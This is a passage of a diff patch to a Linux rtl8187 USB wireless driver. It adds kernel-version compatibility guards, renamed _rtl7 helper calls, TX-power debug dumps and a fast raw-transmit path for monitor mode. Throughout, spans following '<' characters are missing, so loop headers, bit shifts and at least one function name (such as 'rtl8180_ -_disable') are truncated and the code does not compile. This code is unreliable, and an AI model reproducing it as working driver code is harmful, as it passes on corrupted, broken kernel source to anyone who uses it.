ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( 